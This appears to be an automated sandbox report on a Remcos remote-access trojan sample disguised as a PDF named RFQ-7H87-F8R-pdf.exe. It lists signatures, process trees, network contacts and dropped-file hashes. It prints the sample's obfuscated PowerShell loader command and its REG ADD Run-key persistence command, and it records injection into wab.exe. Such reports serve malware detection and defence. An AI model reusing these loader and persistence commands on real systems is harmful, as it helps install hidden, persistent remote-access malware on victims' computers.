Malware Analysis Report

2025-01-02 03:02

Sample ID 240813-p724wsvbra
Target RFQ-7H87-F8R-pdf.exe
SHA256 3b97b5da457f961783873c0c1f09924e4e1b16931811a9118a6185290103b918
Tags
remcos remotehost discovery execution persistence rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

3b97b5da457f961783873c0c1f09924e4e1b16931811a9118a6185290103b918

Threat Level: Known bad

The file RFQ-7H87-F8R-pdf.exe was found to be: Known bad.

Malicious Activity Summary

remcos remotehost discovery execution persistence rat

Remcos

Adds Run key to start application

Suspicious use of NtSetInformationThreadHideFromDebugger

Suspicious use of NtCreateThreadExHideFromDebugger

Suspicious use of SetThreadContext

System Location Discovery: System Language Discovery

Enumerates physical storage devices

Unsigned PE

Program crash

Command and Scripting Interpreter: PowerShell

Suspicious behavior: MapViewOfSection

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Modifies registry key

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-13 12:59

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-13 12:59

Reported

2024-08-13 13:01

Platform

win7-20240708-en

Max time kernel

121s

Max time network

122s

Command Line

"C:\Users\Admin\AppData\Local\Temp\RFQ-7H87-F8R-pdf.exe"

Signatures

Remcos

rat remcos

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Windows\CurrentVersion\Run\Helias = "%Sicknessproof% -windowstyle minimized $Housecleaning=(Get-ItemProperty -Path 'HKCU:\\Chenillernes\\').Rytmisere;%Sicknessproof% ($Housecleaning)" C:\Windows\SysWOW64\reg.exe N/A

Suspicious use of NtCreateThreadExHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2972 set thread context of 1500 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\RFQ-7H87-F8R-pdf.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\windows mail\wab.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\reg.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2076 wrote to memory of 2972 N/A C:\Users\Admin\AppData\Local\Temp\RFQ-7H87-F8R-pdf.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2076 wrote to memory of 2972 N/A C:\Users\Admin\AppData\Local\Temp\RFQ-7H87-F8R-pdf.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2076 wrote to memory of 2972 N/A C:\Users\Admin\AppData\Local\Temp\RFQ-7H87-F8R-pdf.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2076 wrote to memory of 2972 N/A C:\Users\Admin\AppData\Local\Temp\RFQ-7H87-F8R-pdf.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2972 wrote to memory of 1500 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2972 wrote to memory of 1500 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2972 wrote to memory of 1500 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2972 wrote to memory of 1500 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2972 wrote to memory of 1500 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2972 wrote to memory of 1500 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 1500 wrote to memory of 2436 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Windows\SysWOW64\cmd.exe
PID 1500 wrote to memory of 2436 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Windows\SysWOW64\cmd.exe
PID 1500 wrote to memory of 2436 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Windows\SysWOW64\cmd.exe
PID 1500 wrote to memory of 2436 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Windows\SysWOW64\cmd.exe
PID 2436 wrote to memory of 1448 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2436 wrote to memory of 1448 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2436 wrote to memory of 1448 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2436 wrote to memory of 1448 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe

Processes

C:\Users\Admin\AppData\Local\Temp\RFQ-7H87-F8R-pdf.exe

"C:\Users\Admin\AppData\Local\Temp\RFQ-7H87-F8R-pdf.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -windowstyle minimized " $Cocytus=Get-Content 'C:\Users\Admin\AppData\Local\Temp\homonymies\unsoundnesses\Enkepensions.Sne';$Ambassadrmde=$Cocytus.SubString(57807,3);.$Ambassadrmde($Cocytus)"

C:\Program Files (x86)\windows mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Helias" /t REG_EXPAND_SZ /d "%Sicknessproof% -windowstyle minimized $Housecleaning=(Get-ItemProperty -Path 'HKCU:\Chenillernes\').Rytmisere;%Sicknessproof% ($Housecleaning)"

C:\Windows\SysWOW64\reg.exe

REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Helias" /t REG_EXPAND_SZ /d "%Sicknessproof% -windowstyle minimized $Housecleaning=(Get-ItemProperty -Path 'HKCU:\Chenillernes\').Rytmisere;%Sicknessproof% ($Housecleaning)"

Network

Country Destination Domain Proto
US 8.8.8.8:53 digitaltechtrendz.com udp
US 8.8.8.8:53 digitaltechtrendz.com udp
GB 185.221.216.247:80 digitaltechtrendz.com tcp

Files

memory/2972-85-0x00000000736F1000-0x00000000736F2000-memory.dmp

memory/2972-86-0x00000000736F0000-0x0000000073C9B000-memory.dmp

memory/2972-87-0x00000000736F0000-0x0000000073C9B000-memory.dmp

memory/2972-88-0x00000000736F0000-0x0000000073C9B000-memory.dmp

memory/2972-89-0x00000000736F0000-0x0000000073C9B000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\homonymies\unsoundnesses\Enkepensions.Sne

MD5 99360cbea01ba5d275ab8d13defef9e6
SHA1 877c8b2a325b989afd8692043026cdfe45ee2864
SHA256 6b66692c69cfb96bfb20a35c1b810ececaa9c3e1674e35ec46bd93108b12d4a0
SHA512 22236972fe8232239d37602dd41f828f52a820c76bb2407ee02c09b89472f6d5d5c252ba638ea281c9922f793af8cf2b67bbc61c3c9ac29c904eadb54784b303

memory/2972-92-0x00000000736F0000-0x0000000073C9B000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\homonymies\unsoundnesses\Valutakursernes.Dve

MD5 c5193b51055addd729bd7160c6612044
SHA1 0cc227f487327ac49a0a582ba8014d92d120207f
SHA256 18e4703c2fd844f8a5d2bfe938b1ee9ced57092d9a80bca98a7caafb4954df3c
SHA512 67b8a069575fd7d11d12a3794e3e101a655546dfb3e216ef2700704db9c9cee7ed358376b89d031cb2a0d2f2c357eff59555701403c185476c18ab84633e93b9

memory/2972-94-0x00000000736F0000-0x0000000073C9B000-memory.dmp

memory/2972-95-0x0000000006680000-0x00000000086F6000-memory.dmp

memory/2972-96-0x00000000736F0000-0x0000000073C9B000-memory.dmp

memory/1500-97-0x00000000006A0000-0x0000000001702000-memory.dmp

memory/1500-100-0x00000000006A0000-0x0000000001702000-memory.dmp

memory/1500-103-0x00000000006A0000-0x0000000001702000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-13 12:59

Reported

2024-08-13 13:01

Platform

win10v2004-20240802-en

Max time kernel

140s

Max time network

127s

Command Line

"C:\Users\Admin\AppData\Local\Temp\RFQ-7H87-F8R-pdf.exe"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\RFQ-7H87-F8R-pdf.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\RFQ-7H87-F8R-pdf.exe

"C:\Users\Admin\AppData\Local\Temp\RFQ-7H87-F8R-pdf.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -windowstyle minimized " $Cocytus=Get-Content 'C:\Users\Admin\AppData\Local\Temp\homonymies\unsoundnesses\Enkepensions.Sne';$Ambassadrmde=$Cocytus.SubString(57807,3);.$Ambassadrmde($Cocytus)"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 368 -p 2716 -ip 2716

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2716 -s 2776

Network

Country Destination Domain Proto
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 20.177.190.20.in-addr.arpa udp
US 8.8.8.8:53 240.143.123.92.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp

Files

memory/2716-83-0x0000000073D0E000-0x0000000073D0F000-memory.dmp

memory/2716-84-0x0000000000C60000-0x0000000000C96000-memory.dmp

memory/2716-85-0x0000000073D00000-0x00000000744B0000-memory.dmp

memory/2716-86-0x0000000004D60000-0x0000000005388000-memory.dmp

memory/2716-87-0x0000000073D00000-0x00000000744B0000-memory.dmp

memory/2716-88-0x0000000004A80000-0x0000000004AA2000-memory.dmp

memory/2716-90-0x0000000004C40000-0x0000000004CA6000-memory.dmp

memory/2716-89-0x0000000004B20000-0x0000000004B86000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u251vfjy.sc2.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2716-100-0x00000000054D0000-0x0000000005824000-memory.dmp

memory/2716-101-0x0000000005AA0000-0x0000000005ABE000-memory.dmp

memory/2716-102-0x0000000005AF0000-0x0000000005B3C000-memory.dmp

memory/2716-103-0x0000000006030000-0x00000000060C6000-memory.dmp

memory/2716-104-0x0000000005FE0000-0x0000000005FFA000-memory.dmp

memory/2716-105-0x0000000006C80000-0x0000000006CA2000-memory.dmp

memory/2716-106-0x0000000007260000-0x0000000007804000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\homonymies\unsoundnesses\Enkepensions.Sne

MD5 99360cbea01ba5d275ab8d13defef9e6
SHA1 877c8b2a325b989afd8692043026cdfe45ee2864
SHA256 6b66692c69cfb96bfb20a35c1b810ececaa9c3e1674e35ec46bd93108b12d4a0
SHA512 22236972fe8232239d37602dd41f828f52a820c76bb2407ee02c09b89472f6d5d5c252ba638ea281c9922f793af8cf2b67bbc61c3c9ac29c904eadb54784b303

memory/2716-108-0x0000000007E90000-0x000000000850A000-memory.dmp

memory/2716-110-0x0000000073D00000-0x00000000744B0000-memory.dmp